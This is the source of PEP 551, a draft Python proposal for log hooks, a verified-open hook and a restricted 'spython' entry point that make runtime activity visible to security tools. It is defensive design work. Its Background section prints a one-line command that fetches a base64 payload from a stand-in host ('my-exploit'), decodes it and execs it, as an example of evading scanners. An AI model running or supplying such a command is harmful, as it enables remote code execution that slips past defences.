python-peps/pep-0551.rst

PEP: 551
Title: Security transparency in the Python runtime
Version: $Revision$
Last-Modified: $Date$
Author: Steve Dower <steve.dower@python.org>
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 23-Aug-2017
Python-Version: 3.7
Post-History:

Abstract
========

This PEP describes additions to the Python API and specific behaviors for the
CPython implementation that make actions taken by the Python runtime visible to
security and auditing tools. The goals in order of increasing importance are to
prevent malicious use of Python, to detect and report on malicious use, and most
importantly to detect attempts to bypass detection. Most of the responsibility
for implementation is required from users, who must customize and build Python
for their own environment.

We propose two small sets of public APIs to enable users to reliably build their
copy of Python without having to modify the core runtime, protecting future
maintainability. We also discuss recommendations for users to help them develop
and configure their copy of Python.

Background
==========

Software vulnerabilities are generally seen as bugs that enable remote or
elevated code execution. However, in our modern connected world, the more
dangerous vulnerabilities are those that enable advanced persistent threats
(APTs). APTs are achieved when an attacker is able to penetrate a network,
establish their software on one or more machines, and over time extract data or
intelligence. Some APTs may make themselves known by maliciously damaging data
(e.g., `WannaCrypt <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/WannaCrypt>`_)
or hardware (e.g., `Stuxnet <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Win32/Stuxnet>`_).
Most attempt to hide their existence and avoid detection. APTs often use a
combination of traditional vulnerabilities, social engineering, phishing (or
spear-phishing), thorough network analysis, and an understanding of
misconfigured environments to establish themselves and do their work.

The first infected machines may not be the final target and may not require
special privileges. For example, an APT that is established as a
non-administrative user on a developer’s machine may have the ability to spread
to production machines through normal deployment channels. It is common for APTs
to persist on as many machines as possible, with sheer weight of presence making
them difficult to remove completely.

Whether an attacker is seeking to cause direct harm or hide their tracks, the
biggest barrier to detection is a lack of insight. System administrators with
large networks rely on distributed logs to understand what their machines are
doing, but logs are often filtered to show only error conditions. APTs that are
attempting to avoid detection will rarely generate errors or abnormal events.
Reviewing normal operation logs involves a significant amount of effort, though
work is underway by a number of companies to enable automatic anomaly detection
within operational logs. The tools preferred by attackers are ones that are
already installed on the target machines, since log messages from these tools
are often expected and ignored in normal use.

At this point, we are not going to spend further time discussing the existence
of APTs or methods and mitigations that do not apply to this PEP. For further
information about the field, we recommend reading or watching the resources
listed under `Further Reading`_.

Python is a particularly interesting tool for attackers due to its prevalence on
server and developer machines, its ability to execute arbitrary code provided as
data (as opposed to native binaries), and its complete lack of internal logging.
This allows attackers to download, decrypt, and execute malicious code with a
single command::

    python -c "import urllib.request, base64; exec(base64.b64decode(urllib.request.urlopen('http://my-exploit/py.b64')).decode())"

This command currently bypasses most anti-malware scanners that rely on
recognizable code being read through a network connection or being written to
disk (base64 is often sufficient to bypass these checks). It also bypasses
protections such as file access control lists or permissions (no file access
occurs), approved application lists (assuming Python has been approved for other
uses), and automated auditing or logging (assuming Python is allowed to access
the internet or access another machine on the local network from which to obtain
its payload).

General consensus among the security community is that totally preventing
attacks is infeasible and defenders should assume that they will often detect
attacks only after they have succeeded. This is known as the "assume breach"
mindset. [1]_ In this scenario, protections such as sandboxing and input
validation have already failed, and the important task is detection, tracking,
and eventual removal of the malicious code. To this end, the primary feature
required from Python is security transparency: the ability to see what
operations the Python runtime is performing that may indicate anomalous or
malicious use. Preventing such use is valuable, but secondary to the need to
know that it is occurring.

To summarise the goals in order of increasing importance:

* preventing malicious use is valuable
* detecting malicious use is important
* detecting attempts to bypass detection is critical

One example of a scripting engine that has addressed these challenges is
PowerShell, which has recently been enhanced towards similar goals of
transparency and prevention. [2]_

Generally, application and system configuration will determine which events
within a scripting engine are worth logging. However, given the value of many
logs events are not recognized until after an attack is detected, it is
important to capture as much as possible and filter views rather than filtering
at the source (see the No Easy Breach video from above). Events that are always
of interest include attempts to bypass event logging, attempts to load and
execute code that is not correctly signed or access-controlled, use of uncommon
operating system functionality such as debugging or inter-process inspection
tools, most network access and DNS resolution, and attempts to create and hide
files or configuration settings on the local machine.

To summarize, defenders have a need to audit specific uses of Python in order to
detect abnormal or malicious usage. Currently, the Python runtime does not
provide any ability to do this, which (anecdotally) has led to organizations
switching to other languages. The aim of this PEP is to enable system
administrators to deploy a security transparent copy of Python that can
integrate with their existing auditing and protection systems.

On Windows, some specific features that may be enabled by this include:

* Script Block Logging [3]_
* DeviceGuard [4]_
* AMSI [5]_
* Persistent Zone Identifiers [6]_
* Event tracing (which includes event forwarding) [7]_

On Linux, some specific features that may be integrated are:

* gnupg [8]_
* sd_journal [9]_
* OpenBSM [10]_
* syslog [11]_
* check execute bit on imported modules


On macOS, some features that may be used with the expanded APIs are:

* OpenBSM [10]_
* syslog [11]_

Overall, the ability to enable these platform-specific features on production
machines is highly appealing to system administrators and will make Python a
more trustworthy dependency for application developers.


Overview of Changes
===================

True security transparency is not fully achievable by Python in isolation. The
runtime can log as many events as it likes, but unless the logs are reviewed and
analyzed there is no value. Python may impose restrictions in the name of
security, but usability may suffer. Different platforms and environments will
require different implementations of certain security features, and
organizations with the resources to fully customize their runtime should be
encouraged to do so.

The aim of these changes is to enable system administrators to integrate Python
into their existing security systems, without dictating what those systems look
like or how they should behave. We propose two API changes to enable this: an
Event Log Hook and Verified Open Hook. Both are not set by default, and both
require modifying the appropriate entry point to enable any functionality. For
the purposes of validation and example, we propose a new spython/spython.exe
entry point program that enables some basic functionality using these hooks.
However, the expectation is that security-conscious organizations will create
their own entry points to meet their needs.

Event Log Hook
--------------

In order to achieve security transparency, an API is required to raise messages
from within certain operations. These operations are typically deep within the
Python runtime or standard library, such as dynamic code compilation, module
imports, DNS resolution, or use of certain modules such as ``ctypes``.

The new APIs required for log hooks are::

   # Add a logging hook
   sys.addloghook(hook: Callable[str, tuple]) -> None
   int PySys_AddLogHook(int (*hook)(const char *event, PyObject *args));

   # Raise an event with all logging hooks
   sys.loghook(str, *args) -> None
   int PySys_LogHook(const char *event, PyObject *args);

   # Internal API used during Py_Finalize() - not publicly accessible
   void _Py_ClearLogHooks(void);

Hooks are added by calling ``PySys_AddLogHook()`` from C at any time, including
before ``Py_Initialize()``, or by calling ``sys.addloghook()`` from Python code.
Hooks are never removed or replaced, and existing hooks have an opportunity to
refuse to allow new hooks to be added (adding a logging hook is logged, and so
preexisting hooks can raise an exception to block the new addition).

When events of interest are occurring, code can either call ``PySys_LogHook()``
from C (while the GIL is held) or ``sys.loghook()``. The string argument is the
name of the event, and the tuple contains arguments. A given event name should
have a fixed schema for arguments, and both arguments are considered a public
API (for a given x.y version of Python), and thus should only change between
feature releases with updated documentation.

When an event is logged, each hook is called in the order it was added with the
event name and tuple. If any hook returns with an exception set, later hooks are
ignored and *in general* the Python runtime should terminate. This is
intentional to allow hook implementations to decide how to respond to any
particular event. The typical responses will be to log the event, abort the
operation with an exception, or to immediately terminate the process with an
operating system exit call.

When an event is logged but no hooks have been set, the ``loghook()`` function
should include minimal overhead. Ideally, each argument is a reference to
existing data rather than a value calculated just for the logging call.

As hooks may be Python objects, they need to be freed during ``Py_Finalize()``.
To do this, we add an internal API ``_Py_ClearLogHooks()`` that releases any
``PyObject*`` hooks that are held, as well as any heap memory used. This is an
internal function with no public export, but it passes an event to all existing
hooks to ensure that unexpected calls are logged.

See `Log Hook Locations`_ for proposed log hook points and schemas, and the
`Recommendations`_ section for discussion on appropriate responses.

Verified Open Hook
------------------

Most operating systems have a mechanism to distinguish between files that can be
executed and those that can not. For example, this may be an execute bit in the
permissions field, or a verified hash of the file contents to detect potential
code tampering. These are an important security mechanism for preventing
execution of data or code that is not approved for a given environment.
Currently, Python has no way to integrate with these when launching scripts or
importing modules.

The new public API for the verified open hook is::

   # Set the handler
   int Py_SetOpenForExecuteHandler(PyObject *(*handler)(const char *narrow, const wchar_t *wide))

   # Open a file using the handler
   os.open_for_exec(pathlike)

The ``os.open_for_exec()`` function is a drop-in replacement for
``open(pathlike, 'rb')``. Its default behaviour is to open a file for raw,
binary access - any more restrictive behaviour requires the use of a custom
handler. (Aside: since ``importlib`` requires access to this function before the
``os`` module has been imported, it will be available on the ``nt``/``posix``
modules, but the intent is that other users will access it through the ``os``
module.)

A custom handler may be set by calling ``Py_SetOpenForExecuteHandler()`` from C
at any time, including before ``Py_Initialize()``. When ``open_for_exec()`` is
called with a handler set, the handler will be passed the processed narrow or
wide path, depending on platform, and its return value will be returned
directly. The returned object should be an open file-like object that supports
reading raw bytes. This is explicitly intended to allow a ``BytesIO`` instance
if the open handler has already had to read the file into memory in order to
perform whatever verification is necessary to determine whether the content is
permitted to be executed.

Note that these handlers can import and call the ``_io.open()`` function on
CPython without triggering themselves.

If the handler determines that the file is not suitable for execution, it should
raise an exception of its choice, as well as performing any other logging or
notifications.

All import and execution functionality involving code from a file will be
changed to use ``open_for_exec()`` unconditionally. It is important to note that
calls to ``compile()``, ``exec()`` and ``eval()`` do not go through this
function - a log hook that includes the code from these calls will be added and
is the best opportunity to validate code that is read from the file. Given the
current decoupling between import and execution in Python, most imported code
will go through both ``open_for_exec()`` and the log hook for ``compile``, and
so care should be taken to avoid repeating verification steps.

API Availability
----------------

While all the functions added here are considered public and stable API, the
behavior of the functions is implementation specific. The descriptions here
refer to the CPython implementation, and while other implementations should
provide the functions, there is no requirement that they behave the same.

For example, ``sys.addloghook()`` and ``sys.loghook()`` should exist but may do
nothing. This allows code to make calls to ``sys.loghook()`` without having to
test for existence, but it should not assume that its call will have any effect.
(Including existence tests in security-critical code allows another vector to
bypass logging, so it is preferable that the function always exist.)

``os.open_for_exec()`` should at a minimum always return ``_io.open(pathlike,
'rb')``. Code using the function should make no further assumptions about what
may occur, and implementations other than CPython are not required to let
developers override the behavior of this function with a hook.


Log Hook Locations
==================

Calls to ``sys.loghook()`` or ``PySys_LogHook()`` will be added to the following
operations with the schema in Table 1. Unless otherwise specified, the ability
for log hooks to abort any listed operation should be considered part of the
rationale for including the hook.

.. csv-table:: Table 1: Log Hooks
   :header: "API Function", "Event Name", "Arguments", "Rationale"
   :widths: 2, 2, 3, 6
   
   ``PySys_AddLogHook``, ``sys.addloghook``, "", "Detect when new log hooks are
   being added."
   ``_PySys_ClearLogHooks``, ``sys._clearloghooks``, "", "Notifies hooks they
   are being cleaned up, mainly in case the event is triggered unexpectedly.
   This event cannot be aborted."
   ``Py_SetOpenForExecuteHandler``, ``setopenforexecutehandler``, "", "Detects
   any attempt to set the ``open_for_execute`` handler."
   "``compile``, ``exec``, ``eval``, ``PyAst_CompileString``", ``compile``, "
   ``(code, filename_or_none)``", "Detect dynamic code compilation. Note that
   this will also be called for regular imports of source code, including those
   that used ``open_for_exec``."
   ``import``, ``import``, "``(module, filename, sys.path, sys.meta_path,
   sys.path_hooks)``", "Detect when modules are imported. This is raised before
   the module name is resolved to a file. All arguments other than the module
   name may be ``None`` if they are not used or available."
   "``_ctypes.dlopen``, ``_ctypes.LoadLibrary``", ``ctypes.dlopen``, "
   ``(module_or_path,)``", "Detect when native modules are used."
   ``_ctypes._FuncPtr``, ``ctypes.dlsym``, "``(lib_object, name)``", "Collect
   information about specific symbols retrieved from native modules."
   ``_ctypes._CData``, ``ctypes.cdata``, "``(ptr_as_int,)``", "Detect when code
   is accessing arbitrary memory using ``ctypes``"
   ``id``, ``id``, "``(id_as_int,)``", "Detect when code is accessing the id of
   objects, which in CPython reveals information about memory layout."
   ``sys._getframe``, ``sys._getframe``, "``(frame_object,)``", "Detect when
   code is accessing frames directly"
   ``sys._current_frames``, ``sys._current_frames``, "", "Detect when code is
   accessing frames directly"
   ``PyEval_SetProfile``, ``sys.setprofile``, "", "Detect when code is injecting
   trace functions. Because of the implementation, exceptions raised from the
   hook will abort the operation, but will not be raised in Python code. Note
   that ``threading.setprofile`` eventually calls this function, so the event
   will be logged for each thread."
   ``PyEval_SetTrace``, ``sys.settrace``, "", "Detect when code is injecting
   trace functions. Because of the implementation, exceptions raised from the
   hook will abort the operation, but will not be raised in Python code. Note
   that ``threading.settrace`` eventually calls this function, so the event
   will be logged for each thread."
   ``_PyEval_SetAsyncGenFirstiter``, ``sys.set_async_gen_firstiter``, "", "
   Detect changes to async generator hooks."
   ``_PyEval_SetAsyncGenFinalizer``, ``sys.set_async_gen_finalizer``, "", "
   Detect changes to async generator hooks."
   ``_PyEval_SetCoroutineWrapper``, ``sys.set_coroutine_wrapper``, "", "Detect
   changes to the coroutine wrapper."
   ``Py_SetRecursionLimit``, ``sys.setrecursionlimit``, "``(new_limit,)``", "
   Detect changes to the recursion limit."
   ``_PyEval_SetSwitchInterval``, ``sys.setswitchinterval``, "``(interval_us,)``
   ", "Detect changes to the switching interval."
   "``socket.bind``, ``socket.connect``, ``socket.connect_ex``,
   ``socket.sendmsg``, ``socket.sendto``", ``socket.address``, "``(address,)``
   ", "Detect access to network resources. The address is unmodified from the
   original call."
   ``socket.__init__``, "socket()", "``(family, type, proto)``", "Detect
   creation of sockets. The arguments will be int values."
   ``socket.gethostname``, ``socket.gethostname``, "", "Detect attempts to
   retrieve the current host name."
   ``socket.sethostname``, ``socket.sethostname``, "``(name,)``", "Detect
   attempts to change the current host name. The name argument is passed as a
   bytes object."
   "``socket.gethostbyname``, ``socket.gethostbyname_ex``", "
   ``socket.gethostbyname``", "``(name,)``", "Detect host name resolution. The
   name argument is a str or bytes object."
   ``socket.gethostbyaddr``, ``socket.gethostbyaddr``, "``(address,)``", "Detect
   host resolution. The address argument is a str or bytes object."
   ``socket.getservbyname``, ``socket.getservbyname``, "``(name, protocol)``", "
   Detect service resolution. The arguments are str objects."
   ``socket.getservbyport``, ``socket.getservbyport``, "``(port, protocol)``", "
   Detect service resolution. The port argument is an int and protocol is a
   str."

TODO - more hooks in ``_socket``, ``_ssl``, others?


SPython Entry Point
===================

A new entry point binary will be added, called ``spython.exe`` on Windows and
``spythonX.Y`` on other platforms. This entry point is intended primarily as an
example, as we expect most users of this functionality to implement their own
entry point and hooks (see `Recommendations`_). It will also be used for tests.

Source builds will create ``spython`` by default, but distributors may choose
whether to include ``spython`` in their pre-built packages. The python.org
managed binary distributions will not include ``spython``.

**Do not accept most command-line arguments**

The ``spython`` entry point requires a script file be passed as the first
argument, and does not allow any options. This prevents arbitrary code execution
from in-memory data or non-script files (such as pickles, which can be executed
using ``-m pickle <path>``.

Options ``-B`` (do not write bytecode), ``-E`` (ignore environment variables)
and ``-s`` (no user site) are assumed.

If a file with the same full path as the process with a ``._pth`` suffix
(``spython._pth`` on Windows, ``spythonX.Y._pth`` on Linux) exists, it will be
used to initialize ``sys.path`` following the rules currently described `for
Windows <https://docs.python.org/3/using/windows.html#finding-modules>`_.

**Log security events to a file**

Before initialization, ``spython`` will set a log hook that writes events to a
local file. By default, this file is the full path of the process with a
``.log`` suffix, but may be overridden with the ``SPYTHONLOG`` environment
variable (despite such overrides being explicitly discouraged in
`Recommendations`_).

The log hook will also abort all ``addloghook`` events, preventing any other
hooks from being added.

On Windows, code from ``compile`` events will submitted to AMSI [5]_ and if it
fails to validate, the compile event will be aborted. This can be tested by
calling ``compile()`` or ``eval()`` on the contents of the `EICAR test file
<http://www.eicar.org/86-0-Intended-use.html>`_.

**Restrict importable modules**

Also before initialization, ``spython`` will set an open-for-execute hook that
validates all files opened with ``os.open_for_exec``. This implementation will
require all files to have a ``.py`` suffix (thereby blocking the use of cached
bytecode), and will raise a custom log message ``spython.open_for_exec``
containing ``(filename, True_if_allowed)``.

On Windows, the hook will also open the file with flags that prevent any other
process from opening it with write access, which allows the hook to perform
additional validation on the contents with confidence that it will not be
modified between the check and use. Compilation will later trigger a ``compile``
event, so there is no need to read the contents now for AMSI, but other
validation mechanisms such as DeviceGuard [4]_ should be performed here.


Performance Impact
==================

**TODO**

Full impact analysis still requires investigation. Preliminary testing shows
that calling ``sys.loghook`` with no hooks added does not significantly affect
any existing benchmarks, though targeted microbenchmarks can observe an impact.

Performance impact using ``spython`` or with hooks added are not of interest
here, since this is considered opt-in functionality.


Recommendations
===============

Specific recommendations are difficult to make, as the ideal configuration for any environment will depend on the user's ability to manage, monitor, and respond to activity on their own network. However, many of the proposals here do not appear to be of value without deeper illustration. This section provides recommendations using the terms **should** (or **should not**), indicating that we consider it dangerous to ignore the advice, and **may**, indicating that for the advice ought to be considered for high value systems. The term **sysadmins** refers to whoever is responsible for deploying Python throughout your network, though different organizations may have different titles for the relevant person.

Sysadmins **should** build their own entry point, likely starting from ``spython``, and directly interface with the security systems available in their environment. The more tightly integrated, the less likely a vulnerability will be found allowing an attacker to bypass those systems. In particular, the entry point **should not** obtain any settings from the current environment, such as environment variables, unless those settings are otherwise protected from modification.

The default ``python`` entry point **should not** be deployed to production machines, but could be given to developers to use and test Python on non-production machines. Sysadmins **may** consider deploying a less restrictive version of their entry point to developer machines, since any system connected to your network is a potential target.

Python deployments **should** be made read-only using any available platform functionality after deployment and during use.

On platforms that support it, sysadmins **should** include signatures for every file in a Python deployment, ideally verified using a private certificate. For example, Windows supports embedding signatures in executable files and using catalogs for others, and can use DeviceGuard [4]_ to validate signatures either automatically or using an ``open_for_exec`` hook.

Sysadmins **should** collect as many logged events as possible, and **should** copy them off of local machines frequently. Even if logs are not being constantly monitored for suspicious activity, once an attack is detected it is too late to enable logging. Log hooks **should not** attempt to preemptively filter events, as even benign events are useful when analyzing the progress of an attack. (Watch the "No Easy Breach" video under `Further Reading`_ for a deeper look at this side of things.)

Log hooks **should** write events to logs before attempting to abort. As discussed earlier, it is more important to record malicious actions than to prevent them. Very few actions should be aborted, as most will occur during normal use. Sysadmins **may** audit their Python code and abort operations that are known to never be used deliberately.

On production machines, the first log hook **should** be set in C code before ``Py_Initialize`` is called, and that hook **should** unconditionally abort the ``sys.addloghook`` event. The Python interface is mainly useful for testing.

On production machines, a non-validating ``open_for_exec`` hook **may** be set in C code before ``Py_Initialize`` is called. This prevents later code from overriding the hook, however, logging the ``setopenforexecutehandler`` event is useful since no code should ever need to call it. Using at least the sample ``open_for_exec`` hook implementation from ``spython`` is recommended.

[TODO: more good advice; less bad advice]

Further Reading
===============


**Redefining Malware: When Old Terms Pose New Threats**
    By Aviv Raff for SecurityWeek, 29th January 2014

    This article, and those linked by it, are high-level summaries of the rise of
    APTs and the differences from "traditional" malware.

    `<http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats>`_

**Anatomy of a Cyber Attack**
    By FireEye, accessed 23rd August 2017

    A summary of the techniques used by APTs, and links to a number of relevant
    whitepapers.

    `<https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html>`_

**Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection**
    By Aviv Raff for SecurityWeek, 8th May 2014

    High-level summary of the value of detailed logging and automatic analysis.

    `<http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection>`_

**No Easy Breach: Challenges and Lessons Learned from an Epic Investigation**
    Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016

    Detailed walkthrough of the processes and tools used in detecting and removing
    an APT.

    `<https://archive.org/details/No_Easy_Breach>`_

**Disrupting Nation State Hackers**
    Video presented by Rob Joyce for the NSA at USENIX Enigma 2016

    Good security practices, capabilities and recommendations from the chief of
    NSA's Tailored Access Operation.

    `<https://www.youtube.com/watch?v=bDJb8WOJYdA>`_

References
==========

.. [1] Assume Breach Mindset, `<http://asian-power.com/node/11144>`_

.. [2] PowerShell Loves the Blue Team, also known as Scripting Security and
   Protection Advances in Windows 10, `<https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/>`_

.. [3] `<https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html>`_

.. [4] `<https://aka.ms/deviceguard>`_

.. [5] AMSI, `<https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx>`_

.. [6] Persistent Zone Identifiers, `<https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx>`_

.. [7] Event tracing, `<https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx>`_

.. [8] `<https://www.gnupg.org/>`_

.. [9] `<https://www.systutorials.com/docs/linux/man/3-sd_journal_send/>`_

.. [10] `<http://www.trustedbsd.org/openbsm.html>`_

.. [11] `<https://linux.die.net/man/3/syslog>`_

Acknowledgments
===============

Thanks to all the people from Microsoft involved in helping make the Python
runtime safer for production use, and especially to James Powell for doing much
of the initial research, analysis and implementation, Lee Holmes for invaluable
insights into the info-sec field and PowerShell's responses, and Brett Cannon
for the grounding discussions.

Copyright
=========

Copyright (c) 2017 by Microsoft Corporation. This material may be distributed
only subject to the terms and conditions set forth in the Open Publication
License, v1.0 or later (the latest version is presently available at
http://www.opencontent.org/openpub/).